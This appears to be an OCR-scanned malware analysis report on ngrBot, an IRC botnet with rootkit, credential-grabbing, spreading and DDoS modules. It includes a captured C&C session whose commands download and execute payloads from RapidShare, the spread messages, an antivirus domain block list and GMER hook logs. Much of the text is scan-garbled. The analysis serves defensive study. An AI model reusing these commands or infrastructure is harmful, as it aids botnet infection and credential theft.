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Today we will have a closer look at ngrBot, an IRC bot with rootkit capabilities. The core
of ngrBot is an advanced ring3 (usermode) system-wide injection and hooking engine
similar to ZeuS and SpyEye.

NgrBot will inject code into almost every running process on the computer and is able to
terminate processes. It will install to the user’s Application Data folder under a randomly
generated filename using the HDD serial number as the initial key.

The bot is also able to block access to certain domains and redirect domains / IP’s to
others.

It's able to spread via USB devices and Windows Live Messenger. More recently ngrBot
has been spotted on Facebook but also on Twitter, using the micro blogging service to
spread itself.

Modules and Features
Rootkit
The rootkit module will attempt to hide the bot’s registry startup key as well as the bot file.

Ruskill

The Ruskill module will, if enabled for a download command, monitor the downloaded file
as it executes. Ruskill will flag any files that it copies itself to or creates to be deleted at the
next system reboot.

Proactive defense

The PDef module is an advanced threat detection and removal system. It monitors a range
of file and networking API’s to detect and neutralize other threats that are running on the
system. Currently this module can detect, block and remove malware that spreads via
USB drives, browser exploit packs, and bots that use IRC to communicate.

DNS Modifier

This module can block domains from being accessed and redirect domains/IP addresses
to others.

Slowloris
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This module is for web servers running Apache HTTPd. It's designed to use low bandwidth
and to maintain connections as long as possible, thus consuming all available resources.

Syn Flood
The syn flood module is good for web servers that Slowloris fails to take down.

UDP Flood
This module is ideal for taking home connections offline.

Internet Explorer Login Grabber

This module hooks wininet.dll and analyses POST requests made by the IE web browser
to capture usernames and passwords on the fly.

Firefox Login Grabber

This module hooks nspr4.dll and analyses POST requests made by the Firefox web
browser to capture usernames and passwords on the fly.

FTP Login Grabber
This module hooks ws2_32!send to grab the FTP logins as they are used.

USB Spreader

Waits for USB devices to be inserted and then attemps to infect them using multiple .Ink
methods and obfuscated autorun.

MSN Spreader

This module hooks ws2_32!send to detect MSN messages being send. It will then monitor
outgoing messages and wait for the spoofed number of messages to be sent before
replacing one with the set spread message. It has been tested with the msnp10 and
msnp21 protocols with msnmsgr.exe, wicomm.exe, pidgin.exe and msmsgs.exe.

Commands

Download

Update

Die

Remove

Mute

Version

Visit

Reconnect

Join Channel

Part Channel

Sort Channel by country

Unsort

Module toggle (enable/disable modules)
Statistics (Spreading/login grabbing)
Retrieve all cached logs

Syn

UDP
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o Stop DDoS
e Set MSN Inteerval
e Block/Redirect Domain and IP Address

The full package containing all the modules is sold for $400. NgrBot can also be obtained
a la carte, meaning no modules, pick and choose which modules you want to include.

Analysis of ngrBot

Upon execution facebook-pic0008422012.exe copies itself under a random name based
on the HDD serial number (vgbkbf.exe in our analysis), using
Kernel32.GetVolumelnformationW, to the C:\Documents and Settings\
[username]\Application Data\ folder.
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PROCESSGUARD

The following program wants to start on your computer. If this is
expected you should permit itto do so. If you are unsure about this
program then deny it from executing.

Filename: | vgbkbfexe
Description: gPcBCdiyauZxP

Folder: c\documents and settingsikdhiapplication datal

Laurched by: eddocuments and o~
settingSkilyhd eskiopifa cebook-plcdO03F2 2012 exe

Command Line: "edocuments and seftingsdyiapplication

data'wgbhbf.exe™

Campany Hame: vbTsHz|RUaRY] L

O Always perform this action O

The newly created process vgbkbf.exe will attempt to inject code into the memory space of
all running processes.
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| Modify
| Modify
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NgrBot will initiate a communication with its C&C located at update.jebac.net through
IRC. The domain api.wipmania.com is used to retrieve the country code based on the
victim’s IP. The HTTP / MSN spread message followed by a link to the binary is
transmitted via IRC and Instructions are given to download a list of blocked domains from
data.fuskbugg.se and a new binary called milkway.exe (saved as 1.tmp) from
RapidShare. The bot will report back to the C&C if the download was succesful or not and

 vgbkbf.exe was blocked from modifying smss.exe

wgbkbf, exe was blocked from modifying csrss.exe
vobkbf,exe was blocked from madifying winfogon.exe
wgbikbf exe was blocked from modifying services. exe
vobkbf, exe was blocdked from madifying swchost.exe
wgbkbf.exe was blodked from modifying svchost.exe
vgbkbf,exe was blocked from madifying swchost.exe
vgbkbf,exe was blocked from modifying swchost.exe
wgbibf.exe was blodked from modifying ccevtmgr.exe
vobkbf,exe was blodked from modifying risum. exe
vgbkbf,exe was blocked from modifying explorer. exe
vobkbf,exe was blodked from madifying spoclsv.exe
wgbkbf, exe was blodked from modifying vmsrve.exe
vgbkbf,exe was blocked from modifying ccpxysvc.exe

vgbkbf.exe was blodked from modifying desuserprot.exe |

vgbkbf, exe was blodked from madifying vpomap.exe
vobkbf,exe was blodked from medifying aig.exe
wgbkbf.exe was blodked from maodifying vmusrvc. exe
vobkbf,exe was blocked from madifying ccapp. exe

vgbkbf,.exe was blodked from modifying pgaccount.exe |
wobikbf,exe was blodked from modifying procouard. exe |

wbkbf,exe was blodked from madifying iexplore. exe

_ wgbkbf, exe was blodeed from modifying iexplore. exe

if the file was executed.

4/23


http://en.wikipedia.org/wiki/RapidShare

PASS ngrBot

NICK n{Country Code|XPu}[redacted]

USER [redacted] 0 0 :[redacted]

1001 get.lost

002 002 002

003 003 003

004 004 004

005 005 005

005 005 005

005 005 005

PING 422 MOTD

JOIN #'hot! ngrBot

:n{Country Code|XPu}[redacted]![redacted]@[redacted] JOIN :#!'hot!

:get.lost 332 n{Country Code|XPu}[redacted] #'hot! :.http.int 5 .http.set is this
you? HAHAHAH http://www.facebookloveme.com/facebook-gallery-pic-#####-JPEG .msn.int
4 .msn.set LOL http://www.facebookloveme.com/facebook-profile-pic-#####-JPEG .mdns
http://data.fuskbugg.se/skalman02/4e28ae2064f07_av.txt -n

:get.lost 333 n{Country Code|XPu}[redacted] #!hot! x 1312388577

PRIVMSG #!hot! :[HTTP]: Updated HTTP spread interval to "5"

:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

PRIVMSG #'!'hot! :[HTTP]: Updated HTTP spread message to "is this you? HAHAHAH
http://www.facebookloveme.com/facebook-gallery-pic-39876-JPEG"

PRIVMSG #!'hot! :[MSN]: Updated MSN spread interval to "4"

PRIVMSG #!hot! :[MSN]: Updated MSN spread message to "LOL
http://www.facebookloveme.com/facebook-profile-pic-87687-JPEG"

:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

PRIVMSG #!'hot! :[DNS]: Blocked 1310 domain(s) - Redirected 0@ domain(s)

:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick
(+r) to talk on this channel (#!'hot!)

PING :get.lost

PONG :get.lost

:X!x @ gov.ba PRIVMSG #'hot! :.dl http://rapidshare.com/files/598740782/milkway.exe
-n

PRIVMSG #!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\l.tmp"
- Download retries: 1

:get.lost 404 n{Country Code|XPu}[redacted] #!hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

The file 1.tmp will request internet access in order to download a binary called
memory.exe from RapidShare. The file will be saved under a random name in the
%temp% folder.
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wiww.diamondds.com.au

PROCESSGUARD

wwwLdiamondes.com.au

PROCESSGUARD

The following program wants to start on your computer. If this is
expected you should permit itto do so. If you are unsure about this
pragram then deny it from executing.

Filename: ff§ 1.tmp
Description:
Folder: cidocuments and settings'kiviapplication datal

Launchsed by o nd oreshesplorer exe

Command Line: "chdocuments and sattingsldyiapplication dataid tmp®
Company Namea:

File Siza: 118KE

The following program wants to start on your computer. If this is
expected you should permit it to do so. If you are unsure about this
program then deny it from executing.

Filename: [ olrexe
Description:

Folder: cdocuments and settingstidylocal settingsitempl

Hide Extra information
Launched by: cldocuments and settings®lylapplicstion data\i tmp
Command Lire: "oidocume= Thhiiocsle=1tempholr exe”
Company Mame:
File Siza: 120KB

O Aiways perform this action 1 ionore checks hienpes

[ Always perform this action 0 lanore « Su Char

Upon execution the file copies itself as windows.exe to the C:\Documents and Settings\

[username]\Application Data\ folder.

www. diamondes.com.au

PROCESSGUARD

program then deny it from executing.

Filename: ‘ windows. exe

Description:

Laurched by ohdoouimes 1%l o cals T\bemplolr.ese
Command Line: "eMocuments and sattingskdydapplication

data'win dowes. ane®
Company Name:
File Size: 120K8

The following program wants to start on your computer. If this is
expected you should permit itte do so. If you are unsure about this

Folder: c\documents and settingsikdhviapplication datal

[ Always perform this action O

Once windows.exe started, ngrBot marks its presence in the infected system with a

mutex named hex-Mutex and WeAreWeAre.




Type = MName
Mutant BaseMNamedObjects hex-Mutex
Mutant “BaseMNamedObjects\WehAreWefre
Process windows.exe(Z288)
Section “BaseMNamedObjects hex_0
Semaphore "BaseMNamedObjects'shell {448F1422-8340-1101-BCEB-00ADC30312E1}
Thread windows exe(2288): 2304
Thread windows exe(Z288) 2316
Thread windows exe{ZZ38) 2312

The Internet Explorer Home page has been modified to redirecturls.info which redirects
to another domain.

Home page —
To create home page tabs, type each address on its own line.

= | 2 http: /fredirecturls.info/]

Examples are:

o www.tiptop-article.com
o www.tech-globe.net

NgrBot will periodically download milkway.exe and memory.exe from RapidShare in
order to always run the latest version of the bot.
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:X!Xx @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Error creating process "C:\Documents and Settings\[UserName]\Application
Data\2.tmp" [e="6"]

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:X!Xx @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #'!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\3.tmp"
- Download retries: 1

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:X!Xx @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #'!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\5.tmp"
- Download retries: 1

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:X!Xx @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #'!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\8.tmp"
- Download retries: 0

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:X!Xx @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #'!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application Data\9.tmp"
- Download retries: 1

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:X!X @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #'!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application
Data\24.tmp" - Download retries: 1

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)

:X!Xx @ gov.ba PRIVMSG #!hot! :.dl http://rapidshare.com/files/598740782/milkway .exe
-n

PRIVMSG #'!hot! :[d="http://rapidshare.com/files/598740782/milkway.exe" s="118784
bytes"] Executed file "C:\Documents and Settings\[UserName]\Application
Data\25.tmp" - Download retries: ©

:get.lost 404 n{Country Code|XPu}[redacted] #'hot! :You must have a registered nick
(+r) to talk on this channel (#'hot!)
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4:58:57 AM  htip:/frapidshare.com files/ 2384102008 fmemory .exe

4:50:59 AM  http:/jrapidshare.com ffles/59874073 2 fmillkway. exe

4:47:34 AM  http:/frapidshare, com ffiles /59874078 2 fmilkway. exe

4:33:24 AM  http:/frapidshare, com files) 238410 2008 fmemory .exe

4:33:00 AM  hitp:/frapidshare. com files/S9874078 2milkway. exe

#:32:34 AM  hitp:/frapidshare . com ffles/S98 7490782 fmillvay. exe

4:18:07 AM  htip:/frapidshare. com ffiles/ 2384102008 fmemory .exe

4:15:00 &M hitp:/frapidshare . com ffiles/59874075 2 /millway.exe

4:17:34 AM  hitp:/frapidshare. com ffiles/ 39874073 2/milkway.exe

4:06:59 AM  hitp:/frapidshare, com files/ 2384102008 fmemory .exe

406:02 AM  htip:/fcrl, webspace -forum. de fiVebSpaceForumSer verCA. crf
4:06:01 AM  http: /i, comodoca, comUTH-USERFrst-Hardware .ol

4:05:59 AM  hiip:/frapidshare. com ffiles/598 73078 2 fmilkway . exe
402:34AM _ http:/rapidshare.com/Rles /598740782 mikway.exe
3:53:04 AM _ http:/jdata, fuskbug se shaiman02/4e 186 206407 av.bxt
3:53:01 AM  http://api.wipmania.com/

List of blocked domains

dnl-cd14 kaspersky-labs.com | dnl-kr14.kaspersky-labs.com | download657.avast.com |
di3.antivir-pe.com | sophos3.ucd.ie | updates1.kaspersky-labs.com |
diamondcs.fileburst.com | bitdefender.fr | sophos4.ucd.ie | updates2.kaspersky-labs.com |
dispatch.mcafee.com | bkav.com.vn | sophos5.ucd.ie | updates3.kaspersky-labs.com |
blackice.iss.net | sophos6.ucd.ie | updates4.kaspersky-labs.com | dl1.antivir.de | ca.com |
avg.de | www.avg.de | download.microsoft.com | go.microsoft.com | msdn.microsoft.com |
office.microsoft.com | windowsupdate.microsoft.com | avp.ru | kaspersky.ru |
kaspersky.com | kaspersky-labs.com | downloads1.kaspersky-labs.com |
downloads2.kaspersky-labs.com | downloads3.kaspersky-labs.com |

downloads4 .kaspersky-labs.com | downloads5.kaspersky-labs.com | viruslist.com |
viruslist.ru | symantec.com | customer.symantec.com | liveupdate.symantec.com |
liveupdate.symantecliveupdate.com | securityresponse.symantec.com |
service1.symantec.com | updates.symantec.com | ad.doubleclick.net | ad.fastclick.net |
ads.fastclick.net | ar.atwola.com | atdmt.com | avp.ch | avp.com | awaps.net |
banner.fastclick.net | banners.fastclick.net | click.atdmt.com | clicks.atdmt.com |
download.mcafee.com | downloads.microsoft.com | engine.awaps.net | fastclick.net | f-
secure.com | ftp.f-secure.com | ftp.sophos.com | mast.mcafee.com | mcafee.com |
media.fastclick.net | my-etrust.com | nai.com | networkassociates.com | phx.corporate-
ir.net | secure.nai.com | sophos.com | spd.atdmt.com | support.microsoft.com |
update.symantec.com | us.mcafee.com | vil.nai.com | trendmicro.com | us.trendmicro.com
| www3.ca.com | ids.kaspersky-labs.com | rads.mcafee.com | grisoft.com | avira.com |
bitdefender.com | dI2.antivir.de | dI3.antivir.de | dl4.antivir.de | downloads-us1.kaspersky-
labs.com | downloads-us2.kaspersky-labs.com | downloads-us3.kaspersky-labs.com |
drweb.com | eset.com | esetindia.com | free-av.com | ftp.downloads2.kaspersky-labs.com |
ftp.kasperskylab.ru | microsoft.com | updates5.kaspersky-labs.com | virusscan.jotti.org |
virustotal.com | update.ikaka.com | msnfix.changelog.fr | incodesolutions.com |
virusinfo.prevx.com | download.bleepingcomputer.com | dazhizhu.cn | foro.noticias3d.com
| nabble.com | lurker.clamav.net | lexikon.ikarus.at | research.sunbelt-software.com |
virusdoctor.jp | elitepvpers.de | guru.avg.com | superuser.co.kr | ntfaq.co.kr |
v.dreamwiz.com | cit.kookmin.ac.kr | forums.whatthetech.com | forum.hijackthis.de |
avg.vo.linwd.net | huaifai.go.th | mostz.com | krupunmai.com | cddchiangmai.net |
forum.malekal.com | tech.pantip.com | sapcupgrades.com | 247fixes.com |
forum.sysinternals.com | forum.telecharger.01net.com | foros.softonic.com | avast-
home.uptodown.com | dr-web-cureit.softonic.com | chkrootkit.org | diamondcs.com.au |
rootkit.nl | sysinternals.com | z-oleg.com | espanol.dir.groups.yahoo.com | castlecrops.com
| misec.net | safecomputing.umn.edu | antirootkit.com | greatis.com |
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ar.answers.yahoo.com | elhacker.org | rootkit.com | pctools.com | pcsupportadvisor.com |
resplendence.com | personal.psu.edu | foro.ethek.com | foro.elhacker.net | vil.nail.com |
search.mcafee.com | wmcafee.com | download.nai.com | wexperts-exchange.com |
bakunos.com | darkclockers.com | Merijn.org | spywareinfo.com | spybot.info | hijackthis.de
| forum.kaspersky.com | majorgeeks.com | linhadefensiva.uol.com.br | cmmings.cn |
sergiwa.com | el-hacker.com | avg-antivirus.net | bleepingcomputer.com | free.grisoft.com |
alerta-antivirus.inteco.es | analysis.seclab.tuwien.ac.at | kztechs.com | ad-aware-
se.uptodown.com | stdio-labs.blogspot.com | box.net | foro.el-hacker.com | free.avg.com |
tecno-soft.com | ladooscuro.es | ftp.drweb.com | download.microsoft.comguru0.grisoft.cz |
gurul.grisoft.cz | guru2.grisoft.cz | guru3.grisoft.cz | it.answers.yahoo.com | softonic.com |
guru4.grisoft.cz | guru5.grisoft.cz | virusspy.com | download.f-secure.com |
malwareremoval.com | forums.cnet.com | hjt-data.trend-braintree.com | pantip.com |
secubox.aldria.com | forospyware.com | manuelruvalcaba.com | zonavirus.com |
leforo.com | siteadvisor.com | blog.threatfire.com | threatexpert.com | blog.hispasec.com |
configurarequipos.com | sosvirus.changelog.fr | psicofxp.com | mailcenter.rising.com.cn |
mailcenter.rising.com | rising.com.cn | rising.com | babooforum.com.br | runscanner.net |
blogschapines.com | upload.changelog.fr | raymond.cc | changelog.fr | pcentraide.com |
atazita.blogspot.com | thinkpad.cn | final4ever.com | files.filefont.com | infos-du-net.com |
trendsecure.com | forum.hardware.fr | utilidades-utiles.com | blogs.icerocket.com |
spychecker.com | geekstogo.com | forums.maddoktor2.com | smokey-services.eu |
clubic.com | linhadefensiva.org | rolandovera.com | download.sysinternals.com |
pcguide.com | thetechguide.com | ozzu.com | changedetection.com |
espanol.groups.yahoo.com | sunbeltsecurity.com | community.thaiware.com |
avpclub.ddns.info | offensivecomputing.net | boardreader.com | guiadohardware.net |
msnvirusremoval.com | cisrt.org | fixmyim.com | samroeng.hi5.com | daboweb.com |
forums.techguy.org | hijackthis.download3000.com | cybertechhelp.com |
superdicas.com.br | 51nb.com | downloads.andymanchesta.com | andymanchesta.com |
info.prevx.com | aknow.prevx.com | securitywonks.net | yoreparo.com | lavasoft.com |
virscan.org | eeload.com | file.net | onecare.live.com | mvps.org | laneros.com |
housecall.trendmicro.com | avast.com | onlinescan.avast.com | ewido.net |
trucoswindows.net | mozilla-hispano.org | futurenow.bitdefender.com | f-prot.com |
security.symantec.com | oldtimer.geekstogo.com | kr.ahnlab.com | thejokerx.blogspot.com
| 2-spyware.com | antivir.es | prevx.com | ikarus.net | bbs.s-sos.net |
forums.majorgeeks.com | castlecops.com | kaspersky.es | subs.geekstogo.com |
forospanish.com | fortinet.com | safer-networking.org | fortiguardcenter.com |
dougknox.com | vsantivirus.com | firewallguide.com | auditmypc.com | spywaredb.com |
mxttchina.com | ziggamza.net | forospyware.es | pogonyuto.forospanish.com |
antivirus.comodo.com | spywareterminator.com | eradicatespyware.net |
freespywareremoval.info | personalfirewall.comodo.com | clamav.net | clamwin.com |
antivirus.about.com | pandasecurity.com | webphand.com | mx.answers.yahoo.com |
sandboxie.com | clamwin.com | cwsandbox.org | arswp.com | es.answers.yahoo.com |
trucoswindows.es | networkworld.com | norman.com | espanol.answers.yahoo.com |
tallemu.com | viruschief.com | scanner.virus.org | housecall65.trendmicro.com |
hjt.networktechs.com | techsupportforum.com | whatthetech.com | soccersuck.com |
comunidad.wilkinsonpc.com.co | forum.piriform.com | tweaksforgeeks.com | daniweb.com |
pchell.com | spyany.com | experts-exchange.com | wikio.es | forums.devshed.com |
forum.tweaks.com | wilderssecurity.com | techspot.com | thecomputerpitstop.com |
es.wasalive.com | secunia.com | es.kioskea.net | taringa.net | cyberdefender.com |
feedage.com | new.taringa.net | forum.zazana.com | forum.clubedohardware.com.br |
computing.net | discussions.virtualdr.com | forum.securitycadets.com | techimo.com |
13iii.com | dicasweb.com.br | infosecpodcast.com | usbcleaner.cn | net-security.org |
bleedingthreats.net | acs.pandasoftware.com | funkytoad.com | 360safe.cn | 360safe.com |
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jp4.kaspersky-labs.com | dnl-cn5.kaspersky-labs.com | dnl-cn6.kaspersky-labs.com | dnl-
jp5.kaspersky-labs.com | dnl-cn7.kaspersky-labs.com | dnl-cn8.kaspersky-labs.com | dnl-
cn9.kaspersky-labs.com | dnl-jp6.kaspersky-labs.com | dnl-eu1.kaspersky-labs.com | dnl-
eu11.kaspersky-labs.com | dnl-eu12.kaspersky-labs.com | dnl-jp7.kaspersky-labs.com |
dnl-eu13.kaspersky-labs.com | dnl-eu14.kaspersky-labs.com | dnl-eu15.kaspersky-
labs.com | dnl-jp8.kaspersky-labs.com | dnl-eu2.kaspersky-labs.com | dnl-eu3.kaspersky-
labs.com | dnl-eu4.kaspersky-labs.com | dnl-jp9.kaspersky-labs.com | dnl-eu5.kaspersky-
labs.com | dnl-eu6.kaspersky-labs.com | dnl-eu7 .kaspersky-labs.com | dnl-kr1.kaspersky-
labs.com | dnl-eu8.kaspersky-labs.com | dnl-eu9.kaspersky-labs.com | dnl-jp1.kaspersky-
labs.com | dnl-kr10.kaspersky-labs.com | dnl-jp10.kaspersky-labs.com | dnl-
jp11.kaspersky-labs.com | dnl-jp12.kaspersky-labs.com | dnl-kr11.kaspersky-labs.com |
dnl-jp13.kaspersky-labs.com | dnl-kr12.kaspersky-labs.com | dnl-kr13.kaspersky-labs.com
| dnl-kr15.kaspersky-labs.com | dnl-kr2.kaspersky-labs.com | dnl-kr3.kaspersky-labs.com |
dnl-kr4.kaspersky-labs.com | dnl-kr5.kaspersky-labs.com | dnl-kr6.kaspersky-labs.com |
dnl-kr8.kaspersky-labs.com | dnl-kr9.kaspersky-labs.com | dnl-ru10.kaspersky-labs.com |
dnl-ru11.kaspersky-labs.com | dnl-ru12.kaspersky-labs.com

Gmer Scan

| left only 2 processes in the scan to reduce the size of the log.
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---- User code sections - GMER 1.0.14 ----

.text
7C90D976 5
.text
7C90DF5E 5
.text
7C90E45F 5
.text
7C9161CA 5
.text
7C801A24 5
.text
7C810976 5
.text
7C822294 5
.text
7C825779 5
.text
7C830053 5
.text
7C839659 5
.text
77DD7535 5
.text
77DDEAF4 5
.text
6301F73E 5
.text
6302E822 5
.text
6307665E 5
.text
71AB2A6F 5
.text
71AB428A 5
.text

Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes

Bytes

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

C:

\WINDOWS\Explorer.EXE[1212]
JMP 0OD323F0
\WINDOWS\Explorer .EXE[1212]
JMP 00D32690
\WINDOWS\Explorer.EXE[1212]
JMP QOD3D2AA
\WINDOWS\Explorer .EXE[1212]
JMP 0OD3D166
\WINDOWS\Explorer.EXE[1212]
JMP 00D311CO
\WINDOWS\Explorer .EXE[1212]
JMP 00D31400
\WINDOWS\Explorer.EXE[1212]
JMP 0OD322F0
\WINDOWS\Explorer .EXE[1212]
JMP 0OD310A0
\WINDOWS\Explorer.EXE[1212]
JMP 00D31000
\WINDOWS\Explorer .EXE[1212]
JMP 00D32350
\WINDOWS\Explorer.EXE[1212]
JMP 00D32D00
\WINDOWS\Explorer .EXE[1212]
JMP 00D32B60
\WINDOWS\Explorer.EXE[1212]
JMP OOD31EAO
\WINDOWS\Explorer .EXE[1212]
JMP 0O0D31C40
\WINDOWS\Explorer.EXE[1212]
JMP 00D32100
\WINDOWS\Explorer .EXE[1212]
JMP 0OD31B60
\WINDOWS\Explorer.EXE[1212]
JMP QOD32E60

ntdll.dl1l!NtEnumerateValueKey
ntdll.dl1l!NtQueryDirectoryFile
ntdll.dl1l!NtResumeThread
ntdll.dll!LdrLoadDll
kernel32.dll!CreateFileA
kernel32.dll!CreateFileW
kernel32.dll!MoveFileA
kernel32.dll!CopyFileWw
kernel32.dl1l!CopyFileA
kernel32.dl1l!MoveFileW
ADVAPI32.dl1!RegCreateKeyExW
ADVAPI32.d11l!RegCreateKeyExA
WININET.d11l!HttpSendRequestW
WININET.d11l!HttpSendRequestA
WININET.dll!InternetWriteFile
WS2_32.dll!getaddrinfo

wS2_32.dl1l!send

\Program Files\Internet Explorer\iexplore.exe[1404]
ntdll.dl1l!NtEnumerateValueKey

JMP 001523F0

.text C:\Program Files\Internet
ntdll.dl1l!NtQueryDirectoryFile

JMP 00152690

.text C:\Program Files\Internet
ntdll.dl1l!NtResumeThread

JMP 0015D2AA

.text C:\Program Files\Internet
ntdll.dll!LdrLoadDll

JMP 0015D166

.text C:\Program Files\Internet
kernel32.dll!CreateFileA

JMP 001511C0O

.text C:\Program Files\Internet
kernel32.dll!CreateFileW

JMP 00151400

.text C:\Program Files\Internet
kernel32.d1l1l!MoveFileA

JMP 001522F0

.text C:\Program Files\Internet
kernel32.d11l!CopyFilew

JMP 001510A0

.text C:\Program Files\Internet

kernel32.dll!CopyFileA

7C90D976 5 Bytes
Explorer\iexplore.exe[1404]

7C90DF5E Bytes
Explorer\iexplore.exe[1404]

7C90E45F 5 Bytes
Explorer\iexplore.exe[1404]

7C9161CA Bytes
Explorer\iexplore.exe[1404]

7C801A24 Bytes
Explorer\iexplore.exe[1404]

7C810976 Bytes
Explorer\iexplore.exe[1404]

7C822294 Bytes
Explorer\iexplore.exe[1404]

7C825779 Bytes
Explorer\iexplore.exe[1404]

7C830053 Bytes
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JMP 00151000

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
kernel32.d1l1l!MoveFileWw 7C839659 5
JMP 00152350

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
ADVAPI32.dl1!RegCreateKeyExW 77DD7535 5
JMP 00152D00

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
ADVAPI32.d11!RegCreateKeyExA 77DDEAF4 5
JMP 00152B60

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d1l!CallNextHookEXx 77D4EDGE 5
JMP OOEADD81 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d1l1l!CreateWindowExW 77D51AD5 5
JMP OOEB4832 C:\WINDOWS\system32\IEFRAME.d1ll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d1l1l!DialogBoxParamw 77D56702 5
JMP 00DD9315 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.dl1l!DialogBoxParamA 77D588E1 5

JMP OOFCDFBE C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d11l!DialogBoxIndirectParamw 77D62598 5
JMP OOFCEO21 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d1l1l!MessageBoxIndirectA 77D6AEF1 5
JMP OOFCDF51 C:\WINDOWS\system32\IEFRAME.d1ll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d11l!SetWindowsHookExW 77D6E621 5
JMP OOEADBCB C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d11!UnhookWindowsHooKEX 77D6F29F 5
JMP OOE11CA2 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d11!MessageBoxExW 77D80559 5
JMP OOFCDE22 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d11l!MessageBoxEXA 77D8057D 5
JMP OOFCDE84 C:\WINDOWS\system32\IEFRAME.d1ll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d11l!DialogBoxIndirectParamA 77D86CED 5
JMP OOFCEM084 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
USER32.d1l1l!MessageBoxIndirectW 77D960B7 5
JMP OOFCDEE6 C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
0le32.dll!CoCreateInstance 77526009 5
JMP OOEB488E C:\WINDOWS\system32\IEFRAME.dll (Internet Explorer/Microsoft
Corporation)

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes
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.text C:\Program Files\Internet Explorer\iexplore.exe[1404]

WININET.d1l1l!HttpSendRequestW 6301F73E 5 Bytes
JMP 00151EA0

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
WININET.d11l!HttpSendRequestA 6302E822 5 Bytes
JMP 00151C40

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
WININET.d1ll!InternetWriteFile 6307665E 5 Bytes
JMP 00152100

.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
WS2_32.dll!getaddrinfo 71AB2A6F 5 Bytes
JMP 00151B60

